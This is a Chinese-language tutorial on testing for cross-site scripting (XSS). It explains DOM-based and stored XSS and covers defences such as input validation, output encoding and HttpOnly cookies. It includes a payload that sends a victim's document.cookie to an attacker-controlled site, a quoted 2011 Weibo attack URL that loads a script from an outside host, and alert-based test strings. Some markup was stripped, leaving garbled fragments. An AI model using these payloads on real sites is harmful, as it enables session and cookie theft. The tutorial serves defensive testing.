web安全測試之 xss攻擊

web安全測試之 xss攻擊

軟件測試資源分享| 免費軟件測試資料

一、 背景知識

1、 什麼是 XSS 攻擊?

XSS 攻擊: 跨站腳本攻擊(Cross Site Scripting) , 爲不和層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆。 故將跨站腳本攻擊縮寫爲 XSS。 跨站腳本攻擊, 是 Web 程序中常見的漏洞,XSS 屬於被動式且用於客戶端的攻擊方式, 所以容易被忽略其危害性。 其原理是攻擊者在網頁中嵌入惡意代碼(例如 JavaScript), 當其它用戶瀏覽該網站時, 這段代碼會自動執行, 從而達到攻擊的目的。 比如這些代碼包括HTML 代碼和客戶端腳本。 對於跨站腳本攻擊, 黑客界共識是: 跨站腳本攻擊是新型的"緩衝區溢出攻擊", 而 JavaScript 是新型的"ShellCode"。XSS 並不限於可見的頁面輸入, 還有可能是隱藏表單域、 get 請求參數等。

2、 XSS 攻擊的危害:

盜取用戶 Cookie、 破壞頁面結構、 導航到惡意網站、 獲取瀏覽器信息、 攜帶木馬等。

二、 XSS 漏洞的分類

XSS 漏洞按照攻擊利用手法的不同, 有以下三種類型:

XSS 攻擊類似於 SQL 注 入攻擊, 攻擊之前, 我們先找到一個存在 XSS 漏洞的網站,

XSS 漏洞分爲兩種, 一種是 DOM Based XSS 漏洞, 另一種是 Stored XSS 漏洞。 理論上, 所有可輸入的地方沒有對輸入數據進行處理的話, 都會存在XSS 漏洞, 漏洞的危害取決於攻擊代碼的威力, 攻擊代碼也不侷限於script。

1、 DOM Based XSS

DOM Based XSS 是一種基於網頁 DOM 結構的攻擊, 該攻擊特點是中招的人是少數人。

場景一:

當我登錄

a.com 後,我發現它的頁面某些內容是根據 url 中的一個叫 content 參數直接顯示的,猜測它測頁面處理可能是這樣, 其它語言類似:Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">

XSS

測試

頁面內容:

我知道了 Tom 也註冊了該網站, 並且知道了他的郵箱(或者其它能接收信息的聯繫方式), 我

做 一 個 超 鏈 接 發 給 他 , 超 鏈 接 地 址 爲 :http://www.a.com?content=

window.open(“www.b.com?param=”+document.cookie), 當 Tom 點擊這個鏈 接的時

候(假設他已經登錄 a.com), 瀏覽器就會直接打開 b.com, 並且把 Tom 在 a.com 中的 cookie信息發送到 b.com, b.com 是我 搭建的網站, 當我的網站接收到該信息時, 我就盜取了 Tom在 a.com 的 cookie 信息, cookie 信息中可能存有登錄密碼, 攻擊成功! 這個過程中, 受害者只有Tom 自己。 那當我在瀏覽器輸入 a.com?content=器展示頁面內容的過程中, 就會執行我的腳本, 頁面輸出xss 字樣, 這是攻擊了我自己, 那我如何攻擊別人並且獲利呢?

2、 Stored XSS

Stored XSS 是存儲式 XSS 漏洞, 由於其攻擊代碼已經存儲到服務器上或者數據庫中, , 比如發佈一篇文章包含惡意代碼, 其他用戶瀏覽時將執行惡意腳本, 所以受害者是很多人。

場景二:

a.com 可以發文章, 我登錄後在 a.com 中發佈了一篇文章, 文章中包含了惡意代 碼,和 Jack 看到了我發佈的文章, 當在查看我的文章時就都中招了, 他們的 cookie 信息都發送到了我的服務 器上, 攻擊成功! 這個過程中, 受害者是多個人。Stored XSS 漏洞危害性更大, 危害面更廣。

3、 攻擊事例

2011 年新浪微博的 XSS 攻擊就是存儲式 XSS 漏洞攻擊, 主要是通過未過濾處理的 URL 中的參數來加載攻擊者已寫好的腳本, 並且使用短鏈服務將URL 僞裝, 然後通過誘人的話題欺騙用戶訪問該鏈接後在瀏覽器運行, 達到攻擊的目的。 如將http://163.fm/PxZHoxn 指向http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update。 所以我們應該嚴防短鏈接。

三、 XSS 防禦

我們是在一個矛盾的世界中, 有矛就有盾。 只要我們的代碼中不存在漏洞, 攻擊者就無從下手, 我們要做一個沒有縫的蛋。

XSS 漏洞修復

原則: 不相信客戶輸入的數據

注意: 攻擊代碼不一定在中將重要的cookie 標記爲 http only, 這樣的話 Javascript 中的 document.cookie 語句就不能獲取到cookie 了.需要對用戶的輸入進行處理, 只允許用戶輸入我們期望的數據, 其它值一概過濾掉。 例如: 年齡的textbox 中, 只允許用戶輸入數字。 而數字之外的字符都過濾掉。

對數據進行Html Encode 處理過濾或移除特殊的Html標籤, 例如:過濾 JavaScript 事件的標籤。 例如 "", "onfocus" 等等。XSS 具體的防禦有如下方式:

1. 輸入校驗

對 用戶的所有輸入數據進行檢測, 比如過濾其中的“”、 “/”、 雙引號等可能導致腳本注入的特殊字符, 或者過濾“script”、 “javascript”等腳本關鍵字, 或者對輸入數據的長度及格式進行限制等等。 同時, 我們也要考慮用戶可能繞開ASCII 碼, 使用十六進制編碼

如“”(“>”) 等來輸入腳本。 因此, 對用戶輸入的十六進制編碼, 我們也要進行相應的過濾。 只要開發人員能夠嚴格檢測每一處交互點, 保證對所有用戶可能的輸入都進行檢測和XSS 過濾, 就能夠有效地阻止 XSS 攻擊。

2. 輸出編碼

通過前面對 XSS 攻擊的分析, 我們可以看到, 之所以會產生 XSS 攻擊, 就是因爲 Web應用程序將用戶的輸入直接嵌入到某個頁面當中, 作爲該頁面的 HTML 代 碼的一部分。因此, 當Web 應用程序將用戶的輸入數據輸出到目標頁面中時, 只要先對這些數據進行編碼, 然後再輸出到目標頁面中。 這樣, 如果用戶輸入一些HTML 的腳本, 也會被當成普通的文字, 而不會成爲目標頁面HTML 代碼的一部分得到執行。

3. 嚴防外部的 Javascript

外部的 Javascript 一旦引入了, 這些腳本就能夠操縱你的 HTML 頁面, 竊取敏感信息或者發起釣魚攻擊等等。

四、 如何測試 XSS 漏洞

方法一: 查看代碼, 查找關鍵的變量, 客戶端將數據傳送給 Web 服務端一般通過三種方式Querystring, Form 表單, 以及 cookie. 例如在 ASP 的程序中, 通過 Request 對象獲取客戶端的變量

strUser = Request.Form(“USER”);

strID = Request.Cookies(“ID”);%>

假如變量沒有經過 htmlEncode 處理, 那麼這個變量就存在一個 XSS 漏洞

方法二: 準備測試腳本

"/>alert(document.cookie)alert(document.cookie)

ck="alert(document.cookie)

在網頁中的 Textbox 或者其他能輸入數據的地方, 輸入這些測試腳本, 看能不能彈出對話框, 能彈出的話說明存在XSS 漏洞在URL 中查看有那些變量通過 URL 把值傳給 Web 服務器, 把這些變量的值退換成我們的測試的腳本。 然後看我們的腳本是否能執行

方法三

: 自動化測試 XSS 漏洞

現在已經有很多

XSS 掃描工具了。 實現 XSS 自動化測試非常簡單, 只需要用HttpWebRequest 類。 把包含 xss 測試腳本。發送給 Web 服務器。 然後查看 HttpWebResponse中, 我們的 XSS 測試腳本是否已經注入進去了。

五、 HTML Encode

XSS 之所以會發生, 是因爲用戶輸入的數據變成了代碼。 所以我們需要對用戶輸入的數據進行HTML Encode 處理。 將其中的"中括號", “單引號”, “引號” 之類的特殊字符進行編碼。在C#中已經提供了現成的方法, 只要調用 HttpUtility.HtmlEncode("string ") 就可以了。 (需要引用 System.Web 程序集)Fiddler 中也提供了很方便的工具, 點擊 Toolbar 上的"TextWizard" 按鈕

圖文來源網絡,如有侵權聯繫刪除

覺得文章不錯的話就點贊,轉發就更好了

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章